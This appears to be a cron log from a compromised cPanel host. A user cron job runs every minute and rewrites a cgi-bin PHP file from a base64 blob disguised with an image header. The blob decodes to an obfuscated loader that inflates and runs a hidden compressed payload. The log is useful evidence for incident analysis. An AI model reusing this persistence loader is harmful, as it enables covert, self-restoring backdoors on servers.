Nov 11 19:11:01 server CROND[19207]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:12:01 server CROND[19954]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue &gt; /dev/null 2&gt;&amp;1)
Nov 11 19:12:01 server CROND[19955]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:13:01 server CROND[20808]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:14:01 server CROND[21724]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:15:01 server CROND[22664]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 19:15:01 server CROND[22665]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:15:01 server CROND[22666]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 19:16:01 server CROND[23534]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:17:02 server CROND[24357]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:18:01 server CROND[25159]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:19:01 server CROND[26095]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:20:01 server CROND[26963]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:20:01 server CROND[26964]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper &gt;/dev/null 2&gt;&amp;1)
Nov 11 19:20:01 server CROND[26965]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Nov 11 19:20:01 server CROND[26967]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths &gt;&gt; /dev/null 2&gt;&amp;1)
Nov 11 19:20:01 server CROND[26968]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2&gt;&amp;1)
Nov 11 19:21:01 server CROND[27854]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:22:01 server CROND[28664]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:23:01 server CROND[29411]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo &quot;/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=&quot; | base64 --decode &gt; &quot;$fp&quot;; fi; chmod 444 &quot;$fp&quot;)
Nov 11 19:24:01 server CROND[30243]: (massq) CMD (fp=&quot;/home/massq/public_html/cgi-bin/class.php&quot;; if [ ! -s &quot;$fp&quot; ]; then echo 